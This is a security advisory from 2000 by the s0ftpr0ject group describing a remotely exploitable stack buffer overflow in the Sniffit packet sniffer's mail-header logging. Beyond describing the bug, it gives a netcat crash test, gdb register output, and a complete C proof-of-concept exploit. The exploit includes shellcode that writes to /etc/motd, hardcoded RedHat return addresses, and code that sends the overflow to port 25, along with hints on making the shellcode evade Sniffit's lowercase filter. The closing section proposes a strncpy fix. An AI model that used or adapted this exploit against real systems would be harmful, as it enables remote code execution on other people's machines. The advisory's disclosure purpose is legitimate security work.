SPJ-003-000: .::::::::+[ s0ftpr0ject 99 ]+::::::::. ::::+[ Digital Security for Y2K ]+:::: :::'"""`"'"""`"'"""`"'"""`"'"`"'""`::: ::'.g#S$"$S#n. .g#S$"$S#n. S#n.`:: :: $$$$$ $$$$$ $$$$$ $$$$$ $$$$ :: :: $$$$$ $$$$$ $$$$$ $$$$ :: :: `$$$$$$$$$n $$$$$ $$$$$ $$$$ :: :: $$$$$ $$$$$s$$$$' $$$$ :: :: $$$$$ $$$$$ $$$$$ $$$$$ $$$$ :: :: `$$$$s$$$S' `$$$$ `$$$$s$$S' :: :::...........:.....:::::..........::: :::+[ Security Advisory, 003-000 ]+::: `::::::::+[ Apr 30, 2000 ]+:::::::::' Remotely Exploitable Buffer Overflow in Sniffit by FuSyS ---[ Systems affected ]------------------------------------------------------- Possibly all systems running Sniffit (0.3.7beta and all versions logging mail headers). Successfull attacks depend on being able to craft shellcodes so they can bypass input filter. ---[ Condition of discovery ]------------------------------------------------- Credits for pointing me to the bug goes to |CyRaX|, of Packets Knights Crew (http://www.programmazione.it/knights, #sikurezza@Undernet) and to all those stealth people who saw this and didn't speak. ---[ Impact ]----------------------------------------------------------------- Though 0.3.7 is still in beta state, there seems to be a lot of admins which rely on Sniffit for dumping and controlling network flows in their LANs. But the problem described here only applies to a particular configuration option which is probably not very utilised, since it interferes with users privacy (yeah, right). Sure it is common in hackers conventions and UNIX user groups' parties, but that's another story =) There appear to be the same problem though, in 0.3.6HIP. This could well go back till 0.3.2 with the introduction of logfiles and log params, supposedly. We decided not to undergo the usual path with the creator as since 0.3.[2-4] the error probably has been known for a while now, and the code we're supplying is not dangerous as the shellcode simply puts a polite string in /etc/motd (if present): "fusys was here". Note to script kids: simply pasting a more complex and aggressive shellcode will do no good, since it should be modified to bypass Sniffit lower case filter. ---[ Detailed description ]--------------------------------------------------- This is a very simple stack based buffer overflow. Usual stuff, static buffers and user input don't go merrily along together. The problem is evident only when loggin mail headers via the -L flag. [Please refer to the Sniffit URL pointed in the Contacts section] The smash occurs when the logging flag -L contains the directive 'mail'. Sniffit will then look for every packet that contains two strings: "mail from:" and "rcpt to:" to log e-mail headers. Obviously the admin has to activate Sniffit so it can dump packets going to port 25. The relevant code is in sn_analyse.c where we can see that pointers containing the mentioned strings are copied to static buffers using the strcpy function. The exploit is really straightforward as it's possible to go on till the eip to change the return address. Just a small problem is the fact that Sniffit filters user input by applying checks contained in the strlower function. This uses a simple isupper?tolower mechanism which does not protect against opcodes injecting. So, by slightly modifying publicy available shellcodes, an attacker with even modest assembly programming knowledge can craft a working code to exploit this vulnerability. Here is the relevant part in sn_analyse.c: if(strstr(workbuf1,"mail from")!=NULL) { char workbuf2[MTU]; strcpy(workbuf2, strstr(workbuf1,"mail from")); and if(strstr(workbuf1,"rcpt to")!=NULL) { char workbuf2[MTU]; strcpy(workbuf2, strstr(workbuf1,"rcpt to")); So it'simply a matter of connecting to port 25 of the sniffing box (or any other host in the LAN which Sniffit controls, as per admin configuration) and write at least 211 characters as email address in the "mail from:" cmd. To test if you're vulnerable simply do (if you have, and should, netcat) : echo "mail from:`perl -e 'print "A"x300'`"|nc -vv HOSTNAME 25 while using gdb to control the runtime of Sniffit. As upper case letters are filtered out you should be able to see something like this: Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) i all eax: 0x0 0 ecx: 0x8057648 134575688 edx: 0x8057648 134575688 ebx: 0xbfff5b84 -1073783932 esp: 0xbfff47a4 -1073789020 ebp: 0x61616161 1633771873 esi: 0xbfff6f0c -1073778932 edi: 0xbfff6f0c -1073778932 eip: 0x61616161 1633771873 (...skipped...) as 0x41('A') is filtered to 0x61('a') all upper case letters will follow the same destiny, so the attacker must craft an all lower case shellcode with mixed sequence of non printable chars and other common witchcraft paraphernalia :) Here is a simple code (as proof of concept) to exploit the vulnerability on RedHat Linux x86 systems [note though that other distros ARE also vulnerable via other shellcodes {for RET morphing}]: /* * Sniffit 0.3.7beta Linux/x86 Remote Exploit * ShellCode is a modified version of w00w00 write egg, * to pass Sniffit input filter * * Tested on RedHat 5.2, 6.0, 6.2 * Proof Of Concept Code * * credits: |CyraX| for pointing me to the coredump * del0 for hurrying me :) * vecna for offering me drinks ;P * belf for loving and caring his GSM ;P * * FuSyS [S0ftpj|BFi] * http://www.s0ftpj.org/ */ #include #include #include #include #include #define LENGTH 600 #define RET RH6x #define RH52 0xbfff5c10 #define RH6x 0xbfff5bb5 // 0.3.6HIP 0xbfffcc50 #define OFFSET 0 #define ALIGNOP 3 // 3 RH6.0, 4 RH6.2 // may vary [1-5] /* Note To Script Kiddies: This ShellCode Simply Changes An Existing /etc/motd So Don't Bother DownLoading */ unsigned char shellcode[]= "\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb" "\x30\xe4\x88\x63\x09\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4" "\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x3f\x01\xf9\x31" "\xd2\xb2\x0e\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f" "\x65\x74\x63\x2f\x6d\x6f\x74\x64\x01\x66\x75\x73\x79\x73\x20\x77" "\x61\x73\x20\x68\x65\x72\x65\x0a"; unsigned long nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname)) == -1) { if(!(hostEnt=gethostbyname(hostname))) { printf("Name Resolution Error:`%s`\n",hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } int main(int argc,char **argv) { char buff[LENGTH+ALIGNOP+1]; char cmd[610]; long addr; unsigned long sp; int offset=OFFSET; int i, x; int sock; struct sockaddr_in sin; if(argc<2) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(0); } sp=(unsigned long) RET; addr=sp-offset; for(i=0;i<120-ALIGNOP;i++) buff[i]=0x90; for(x=0; x> 8; buff[i+2] = (addr & 0x00ff0000) >> 16; buff[i+3] = (addr & 0xff000000) >> 24; } printf("\nSniffit <=0.3.7beta Linux/x86 Remote Exploit\n"); printf("by FuSyS [S0ftpj|BFi] - http://www.s0ftpj.org\n\n"); memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(25); sin.sin_addr.s_addr=nameResolve(argv[1]); printf("Connecting to %s ...\n", argv[1]); if((sock=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Can't create socket\n"); exit(0); } if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0) { printf("Can't connect to Sniffit Server\n"); exit(0); } printf("Injecting ShellCode ...\n"); strncat(cmd, "mail from:", 10); strncat(cmd, buff, strlen(buff)); write(sock, cmd, strlen(cmd)); printf("Done!\n\n"); return(0); } ---[Possible fixes ]---------------------------------------------------------- The first obvious solution to this simple problem is to use a fixed-size buffer to store e-mail addresses, instead of relaying on user input. In the file sn_analyse.c , rows 163 and 175, we can change strcpy to strncpy, choosing an arbitrary size for delimiting the input. Sure, this is not an elegant solution, since we can't know the real length of the peer address, but it's better than having our IDS|Sniffing box compromised. ---[ URLs and references ]---------------------------------------------------- The Sniffit HomePage URL is: http://sniffit.rug.ac.be/sniffit/sniffit.html ---[ Contact informations ]--------------------------------------------------- s0ftpr0ject 2k - Digital security for Y2K (s0ftpj) no-profit security research Internet site: http://www.s0ftpj.org E-mail : staff@s0ftpj.org All advisories and security documents are available via http at: http://www.s0ftpj.org (195.32.69.44) courtesy of Metro Olografix http://www.olografix.org (195.32.69.44) This document has no copyright, feel free to distribute it without any limitation. Original copy of this document can be found at our Internet site for free. ---[ s0ftpr0ject staff Public PGP Key ]------------------------------------ Type Bits/KeyID Date User ID pub 2600/15A01BB9 1999/07/22 S0ftPj Staff -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQFSAzeXNL8AAAEKKNzvok6FkB24mQUEx5Q4SZ97dQlmx3yNeEvG7aJ/0TDKWWUv f6a+t1jF8V7JMhV1JxU/z38MgTYRGt6dspWlTLKb543GxBRqOdMohigBu8rUmDEb UlD9gAav5M+OSY6oNh5a7e/YrPLhOiqxNxBIXQCDgKtIUv9NF8KbcbS96EAmNsuH UA/hJ2Arlx2wSkmJZgvcpiM6O/1g1OYgg7Gur39SqsNZn0RUKxi463qASGfJT4sa rpH6clBsVpNei5bf/4Bke5/8dnJL5DzM0twxTUmvdq1Pt1+6sRCd70IsqXPvjZu2 Drx4rzlLItD84xmE9w/vGdLMtPSTPwX7ak2TvhWqBOkqzWJNiRjzi+T6HiNfuqUr sr90FndiRNJcWCbmPs2TJISLePsi9AVGL5KFfmimdSJPagzWG1FVQhyo2HS4nRWg G7kABRG0H1MwZnRQaiBTdGFmZiA8c3RhZmZAczBmdHBqLm9yZz6JAVoDBRA3lzS/ 2HS4nRWgG7kBAaYiCiQPM05Pr5FkSgjHkVUbgyxwuWkp9MDOxhvFAgcsHJUX2h6V F02vzDMR2BOvaRhkm43IwXxK490Tp86pbbhC28SiF3TEyHjmu8tMrXo/cX69fcqy IbvVgHKEIUYR8Sik7mLX9HqUh9qh7e6o4cH5TsCCJxIoqf2Qt4t5HA4m77H1niNP EqY2HGzvQUPfvTf+KffdLGoAa/NSKJyB8stlWIJ4SAe7EkGscSjcDFvrm25pDT33 JHyBHBdmUY0Kr+gzmg9CuUZUhVtdun0mwZJLicOSUFQeYuPsid+ayggdgfGR7spM NymPkS2MF8jGOKCa9EqWbn5gBP0uZm5aMrg6+O+s+xNonK0BcFH7iIUAsL9qUHLD 4edFudwxa6XW7LuJoqDVlUzhqA3Ru5Yd8eTD7vbcjR3fRngDpLDu8UhC0MFQSoDW IWKJ =i4i0 -----END PGP PUBLIC KEY BLOCK-----